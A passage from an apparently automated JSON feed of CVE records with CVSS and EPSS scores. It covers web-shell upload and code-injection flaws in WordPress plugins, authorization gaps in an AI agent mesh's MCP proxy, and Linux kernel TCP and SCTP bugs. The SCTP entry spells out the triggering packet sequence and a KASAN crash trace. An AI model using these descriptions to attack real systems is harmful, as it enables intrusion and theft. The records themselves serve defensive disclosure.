exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111406","cveId":"CVE-2026-111406","aliases":[],"kind":"vulnerability","title":"Unrestricted Upload of File with Dangerous Type vulnerability in PT Norther Lights Production MapSVG mapsvg-lite-interactive-vector-maps allows Upload a Web Shell to a Web...","summary":"Unrestricted Upload of File with Dangerous Type vulnerability in PT Norther Lights Production MapSVG mapsvg-lite-interactive-vector-maps allows Upload a Web Shell to a Web Server.This issue affects MapSVG: from n/a through 8.16.1.","detail":"Unrestricted Upload of File with Dangerous Type vulnerability in PT Norther Lights Production MapSVG mapsvg-lite-interactive-vector-maps allows Upload a Web Shell to a Web Server.This issue affects MapSVG: from n/a through 8.16.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T10:16:46.007Z","updatedAt":"2026-10-19T17:17:03.770Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111406","asOf":"2026-10-19T17:17:03.770Z"},"epss":{"probability":0.00326,"percentile":0.25398,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111406&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111406","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111406","type":"primary","publishedAt":"2026-10-19T10:16:46.007Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111406&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111406, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110887","cveId":"CVE-2026-110887","aliases":[],"kind":"vulnerability","title":"Improper Control of Generation of Code ('Code Injection') vulnerability in HivePress HivePress hivepress allows Remote Code Inclusion.This issue affects HivePress: from n/a...","summary":"Improper Control of Generation of Code ('Code Injection') vulnerability in HivePress HivePress hivepress allows Remote Code Inclusion.This issue affects HivePress: from n/a through 1.7.32.","detail":"Improper Control of Generation of Code ('Code Injection') vulnerability in HivePress HivePress hivepress allows Remote Code Inclusion.This issue affects HivePress: from n/a through 1.7.32.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T10:16:45.627Z","updatedAt":"2026-10-19T17:17:02.427Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110887","asOf":"2026-10-19T17:17:02.427Z"},"epss":{"probability":0.00352,"percentile":0.2856,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110887&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110887","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110887","type":"primary","publishedAt":"2026-10-19T10:16:45.627Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110887&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110887, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103091","cveId":"CVE-2026-103091","aliases":[],"kind":"vulnerability","title":"Missing Authorization (CWE-862) and Initialization of a Resource with an Insecure Default (CWE-1188) in the MCP proxy (HandleStreamPassThrough in mcp_service.go) and OIDC...","summary":"Missing Authorization (CWE-862) and Initialization of a Resource with an Insecure Default (CWE-1188) in the MCP proxy (HandleStreamPassThrough in mcp_service.go) and OIDC registration flow (GET /info and POST /register in internal/controlplane/server.go) in Google OSS Agent Mesh (SAM) versions 0.1.0-alpha.1 through 0.1.0-alpha.8 allow a remote attacker to self-enroll into the mesh and invoke arbitrary tools across all connected MCP backend nodes. Because GET /info publicly discloses OIDC configuration, POST /register auto-enrolls any valid OIDC token holder without claim filtering or ban checks, and the default policy binds sam:system:authenticated to wildcard services and targets, an attacker can obtain a mesh credential with full read, write, and execution access on backend services. Users should upgrade to version 0.1.0-alpha.9 or later, which enforces a fail-closed default policy, explicit policy-binding requirements on enrollment, and ban checks.","detail":"Missing Authorization (CWE-862) and Initialization of a Resource with an Insecure Default (CWE-1188) in the MCP proxy (HandleStreamPassThrough in mcp_service.go) and OIDC registration flow (GET /info and POST /register in internal/controlplane/server.go) in Google OSS Agent Mesh (SAM) versions 0.1.0-alpha.1 through 0.1.0-alpha.8 allow a remote attacker to self-enroll into the mesh and invoke arbitrary tools across all connected MCP backend nodes. Because GET /info publicly discloses OIDC configuration, POST /register auto-enrolls any valid OIDC token holder without claim filtering or ban checks, and the default policy binds sam:system:authenticated to wildcard services and targets, an attacker can obtain a mesh credential with full read, write, and execution access on backend services. Users should upgrade to version 0.1.0-alpha.9 or later, which enforces a fail-closed default policy, explicit policy-binding requirements on enrollment, and ban checks.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T03:16:58.377Z","updatedAt":"2026-10-19T21:13:39.973Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103091","asOf":"2026-10-19T21:13:39.973Z"},"epss":{"probability":0.00642,"percentile":0.50474,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103091&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103091","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103091","type":"primary","publishedAt":"2026-10-19T03:16:58.377Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103091&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103091, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102503","cveId":"CVE-2026-102503","aliases":[],"kind":"vulnerability","title":"Missing Authentication for Critical Function (CWE-306) and Missing Authorization (CWE-862) in the /libp2p-http ingress server (StartIngressServer in cmd/sam-node/node.go) in...","summary":"Missing Authentication for Critical Function (CWE-306) and Missing Authorization (CWE-862) in the /libp2p-http ingress server (StartIngressServer in cmd/sam-node/node.go) in Google OSS Agent Mesh (SAM) versions 0.1.0-alpha.1 through 0.1.0-alpha.2 allow an unauthenticated remote libp2p peer to bypass Biscuit capability policy enforcement and invoke arbitrary registered backend services (including command/stdio-backed MCP servers, A2A, and inference endpoints). While the MCP protocol stream handler enforces WithBiscuitAuth and Authorize checks, the parallel /libp2p-http ingress routes requests directly to backend service handlers without verifying a Biscuit token or mesh enrollment. Users should upgrade to version 0.1.0-alpha.3 or later.","detail":"Missing Authentication for Critical Function (CWE-306) and Missing Authorization (CWE-862) in the /libp2p-http ingress server (StartIngressServer in cmd/sam-node/node.go) in Google OSS Agent Mesh (SAM) versions 0.1.0-alpha.1 through 0.1.0-alpha.2 allow an unauthenticated remote libp2p peer to bypass Biscuit capability policy enforcement and invoke arbitrary registered backend services (including command/stdio-backed MCP servers, A2A, and inference endpoints). While the MCP protocol stream handler enforces WithBiscuitAuth and Authorize checks, the parallel /libp2p-http ingress routes requests directly to backend service handlers without verifying a Biscuit token or mesh enrollment. Users should upgrade to version 0.1.0-alpha.3 or later.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T03:16:58.193Z","updatedAt":"2026-10-19T21:13:39.973Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102503","asOf":"2026-10-19T21:13:39.973Z"},"epss":{"probability":0.00429,"percentile":0.36917,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102503&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102503","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102503","type":"primary","publishedAt":"2026-10-19T03:16:58.193Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102503&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102503, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108983","cveId":"CVE-2026-108983","aliases":[],"kind":"vulnerability","title":"A vulnerability is in Web Server default connection ports under the process name GeoWebServer.exe .","summary":"A vulnerability is in Web Server default connection ports under the process name GeoWebServer.exe .","detail":"A vulnerability is in Web Server default connection ports under the process name GeoWebServer.exe .\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T02:17:05.853Z","updatedAt":"2026-10-19T21:13:39.973Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108983","asOf":"2026-10-19T21:13:39.973Z"},"epss":{"probability":0.00408,"percentile":0.34805,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108983&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108983","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108983","type":"primary","publishedAt":"2026-10-19T02:17:05.853Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108983&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108983, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-4457","cveId":"CVE-2024-4457","aliases":[],"kind":"vulnerability","title":"The Management Console fails to properly validate input related to the configuration of JDBC user stores.","summary":"The Management Console fails to properly validate input related to the configuration of JDBC user stores. This weakness allows an attacker to supply specially crafted input that can lead to the execution of arbitrary code on the affected server.\n\nSuccessful exploitation of this vulnerability enables an attacker to execute arbitrary code on the server with the privileges of the WSO2 product. This could lead to a full compromise of the system.","detail":"The Management Console fails to properly validate input related to the configuration of JDBC user stores. This weakness allows an attacker to supply specially crafted input that can lead to the execution of arbitrary code on the affected server.\n\nSuccessful exploitation of this vulnerability enables an attacker to execute arbitrary code on the server with the privileges of the WSO2 product. This could lead to a full compromise of the system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T18:16:28.467Z","updatedAt":"2026-10-20T19:17:10.023Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2024-4457","asOf":"2026-10-20T19:17:10.023Z"},"epss":{"probability":0.00417,"percentile":0.35701,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-4457&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2024-4457","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-4457","type":"primary","publishedAt":"2026-10-18T18:16:28.467Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-4457&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-4457, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98549","cveId":"CVE-2026-98549","aliases":[],"kind":"vulnerability","title":"Linux kernel: tcp: prevent collapsing skbs across boundary in rtx queue","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ntcp: prevent collapsing skbs across boundary in rtx queue\n\ntcp_write_collapse_fence() sets TCP_SKB_CB(skb)->eor = 1 on\ntcp_write_queue_tail(sk) to prevent skbs queued after a switch to\ndevice encryption from being collapsed into earlier skbs.\n\nThe fence is a no-op if all earlier data has already been transmitted\nwhen the switch happens: sk->sk_write_queue is empty. The not yet\nacknowledged earlier skbs wait in sk->tcp_rtx_queue with eor 0.\n\nOn a subsequent retransmit or SACK shift, tcp_retrans_try_collapse() or\ntcp_shift_skb_data() can then merge an skb queued after the switch into\none queued before it.\n\nBoth users of the fence are affected:\n\n- psp: devices only encrypt skbs with skb->decrypted set. The merged skb\n  keeps decrypted = 0 from the earlier skb, so merged data sent after\n  psp_sock_assoc_set_tx() is retransmitted in cleartext.\n\n- tls device offload: the merged skb straddles the start marker set in\n  tls_set_device_offload(). The software fallback (fill_sg_in() returns\n  -EINVAL) and the mlx5, nfp and funeth drivers cannot handle such an\n  skb and drop it. Every retransmit rebuilds the same skb, so the\n  connection stalls.\n\nFix this in two places, for defense in depth:\n\n1. Fall back to tcp_rtx_queue_tail(sk) in tcp_write_collapse_fence()\n   when tcp_write_queue_tail(sk) is NULL.\n\n2. Check !skb_cmp_decrypted(to, from) in tcp_skb_can_collapse(), as\n   tcp_skb_can_collapse_rx() does on receive. skb_shift(), which both\n   collapse paths call, already has a DEBUG_NET_WARN_ON_ONCE() for this\n   condition.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\ntcp: prevent collapsing skbs across boundary in rtx queue\n\ntcp_write_collapse_fence() sets TCP_SKB_CB(skb)->eor = 1 on\ntcp_write_queue_tail(sk) to prevent skbs queued after a switch to\ndevice encryption from being collapsed into earlier skbs.\n\nThe fence is a no-op if all earlier data has already been transmitted\nwhen the switch happens: sk->sk_write_queue is empty. The not yet\nacknowledged earlier skbs wait in sk->tcp_rtx_queue with eor 0.\n\nOn a subsequent retransmit or SACK shift, tcp_retrans_try_collapse() or\ntcp_shift_skb_data() can then merge an skb queued after the switch into\none queued before it.\n\nBoth users of the fence are affected:\n\n- psp: devices only encrypt skbs with skb->decrypted set. The merged skb\n  keeps decrypted = 0 from the earlier skb, so merged data sent after\n  psp_sock_assoc_set_tx() is retransmitted in cleartext.\n\n- tls device offload: the merged skb straddles the start marker set in\n  tls_set_device_offload(). The software fallback (fill_sg_in() returns\n  -EINVAL) and the mlx5, nfp and funeth drivers cannot handle such an\n  skb and drop it. Every retransmit rebuilds the same skb, so the\n  connection stalls.\n\nFix this in two places, for defense in depth:\n\n1. Fall back to tcp_rtx_queue_tail(sk) in tcp_write_collapse_fence()\n   when tcp_write_queue_tail(sk) is NULL.\n\n2. Check !skb_cmp_decrypted(to, from) in tcp_skb_can_collapse(), as\n   tcp_skb_can_collapse_rx() does on receive. skb_shift(), which both\n   collapse paths call, already has a DEBUG_NET_WARN_ON_ONCE() for this\n   condition.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:17:06.913Z","updatedAt":"2026-10-24T14:16:47.137Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98549","asOf":"2026-10-24T14:16:47.137Z"},"epss":{"probability":0.00391,"percentile":0.32938,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98549&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98549","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98549","type":"primary","publishedAt":"2026-10-18T16:17:06.913Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98549&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98549, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98548","cveId":"CVE-2026-98548","aliases":[],"kind":"vulnerability","title":"Linux kernel: sctp: discard the rest of the packet on a stale-cookie error","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: discard the rest of the packet on a stale-cookie error\n\nWhen an association is in COOKIE-ECHOED state and the peer sends a\nbundled [ERROR(Stale Cookie)][DATA] packet from one of its non-primary\naddresses, processing the ERROR chunk takes the non-fatal stale-cookie\nretry path sctp_sf_do_5_2_6_stale(), which queues\nSCTP_CMD_DEL_NON_PRIMARY while keeping the association alive.\nsctp_cmd_del_non_primary() removes every non-primary transport -\nincluding the very transport this packet arrived on, which is still\nreferenced by the receive lookup and shared by all chunks of the\npacket via chunk->transport.\n\nsctp_assoc_rm_peer() does redirect asoc->peer.last_data_from away from\nthe removed transport, but right afterwards the bundled DATA chunk\nmakes sctp_assoc_bh_rcv() re-register\nasoc->peer.last_data_from = chunk->transport unconditionally, undoing\nthe redirection with the just-removed transport.\n\nOnce the packet is done, the receive reference is dropped and the\ntransport is RCU-freed, while the surviving association keeps the\ndangling last_data_from.  A later FWD-TSN (or the delayed SACK timer)\nmakes sctp_gen_sack() dereference it (->param_flags and friends), and\nsctp_make_sack()/sctp_outq_select_transport() may write to the freed\nobject and link it into the live transport list.  This is a\nuse-after-free triggerable by any malicious SCTP peer (or a local\nunprivileged user acting as one) with no capabilities required:\n\n  BUG: KASAN: slab-use-after-free in sctp_do_sm+0x498a/0x5660\n  Read of size 4 at addr ffff88800e1e356c by task poc/115\n  Call Trace: sctp_do_sm <- sctp_assoc_bh_rcv <- sctp_inq_push <-\n              sctp_rcv <- ip_protocol_deliver_rcu <- ip_rcv\n  Allocated: sctp_transport_new <- sctp_assoc_add_peer <-\n             sctp_process_init (INIT-ACK processing)\n  Freed: kfree <- sctp_transport_destroy_rcu <- rcu_core\n         (call_rcu queued by sctp_transport_put at end of sctp_rcv)\n  The buggy address is located 364 bytes inside of freed 1024-byte\n  region [ffff88800e1e3400, ffff88800e1e3800), cache kmalloc-1k\n\nNote that commit 03a9d10ecf71 (\"sctp: drop a chunk if its transport\nwas remove","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: discard the rest of the packet on a stale-cookie error\n\nWhen an association is in COOKIE-ECHOED state and the peer sends a\nbundled [ERROR(Stale Cookie)][DATA] packet from one of its non-primary\naddresses, processing the ERROR chunk takes the non-fatal stale-cookie\nretry path sctp_sf_do_5_2_6_stale(), which queues\nSCTP_CMD_DEL_NON_PRIMARY while keeping the association alive.\nsctp_cmd_del_non_primary() removes every non-primary transport -\nincluding the very transport this packet arrived on, which is still\nreferenced by the receive lookup and shared by all chunks of the\npacket via chunk->transport.\n\nsctp_assoc_rm_peer() does redirect asoc->peer.last_data_from away from\nthe removed transport, but right afterwards the bundled DATA chunk\nmakes sctp_assoc_bh_rcv() re-register\nasoc->peer.last_data_from = chunk->transport unconditionally, undoing\nthe redirection with the just-removed transport.\n\nOnce the packet is done, the receive reference is dropped and the\ntransport is RCU-freed, while the surviving association keeps the\ndangling last_data_from.  A later FWD-TSN (or the delayed SACK timer)\nmakes sctp_gen_sack() dereference it (->param_flags and friends), and\nsctp_make_sack()/sctp_outq_select_transport() may write to the freed\nobject and link it into the live transport list.  This is a\nuse-after-free triggerable by any malicious SCTP peer (or a local\nunprivileged user acting as one) with no capabilities required:\n\n  BUG: KASAN: slab-use-after-free in sctp_do_sm+0x498a/0x5660\n  Read of size 4 at addr ffff88800e1e356c by task poc/115\n  Call Trace: sctp_do_sm <- sctp_assoc_bh_rcv <- sctp_inq_push <-\n              sctp_rcv <- ip_protocol_deliver_rcu <- ip_rcv\n  Allocated: sctp_transport_new <- sctp_assoc_add_peer <-\n             sctp_process_init (INIT-ACK processing)\n  Freed: kfree <- sctp_transport_destroy_rcu <- rcu_core\n         (call_rcu queued by sctp_transport_put at end of sctp_rcv)\n  The buggy address is located 364 bytes inside of freed 1024-byte\n  region [ffff88800e1e3400, ffff88800e1e3800), cache kmalloc-1k\n\nNote that commit 03a9d10ecf71 (\"sctp: drop a chunk if its transport\nwas removed\") only covers the window between the receive lookup and\nthe chunk processing (e.g. an ASCONF DEL-IP racing the socket backlog);\nhere the transport is removed *while* the packet is being processed,\nby an earlier chunk of the same packet, so the drop in sctp_inq_push()\ndoes not reach this path.  Verified with the bundled [ERROR(Stale\nCookie)][DATA] + FWD-TSN reproducer: the KASAN report above still\nfires with that commit applied, and is gone with this patch on top.\n\nFix it by discarding the rest of the packet on this path, as suggested\nby Xin.  After the stale-cookie ERROR has sent the association back to\nCOOKIE-WAIT and removed the non-primary transports, the remaining\nchunks of the packet can only run against the restarted handshake\nwhile referencing the removed arrival transport through\nchunk->transport: besides the last_data_from registration above,\nsctp_cmd_setup_t2() and the sctp_make_*() reply builders would also\ncopy that pointer into association-lifetime state that\nsctp_assoc_rm_peer() has already sanitized.  Let the peer retransmit\nthem, in line with what sctp_inq_push() does for chunks whose\ntransport was removed before processing.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:17:06.767Z","updatedAt":"2026-10-24T14:16:46.943Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98548","asOf":"2026-10-24T14:16:46.943Z"},"epss":{"probability":0.00694,"percentile":0.52662,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98548&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98548","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98548","type":"primary","publishedAt":"2026-10-18T16:17:06.767Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98548&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98548, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98490","cveId":"CVE-2026-98490","aliases":[],"kind":"vulnerability","title":"Linux kernel: net: openvswitch: conntrack: fix helper UAF due to extensions 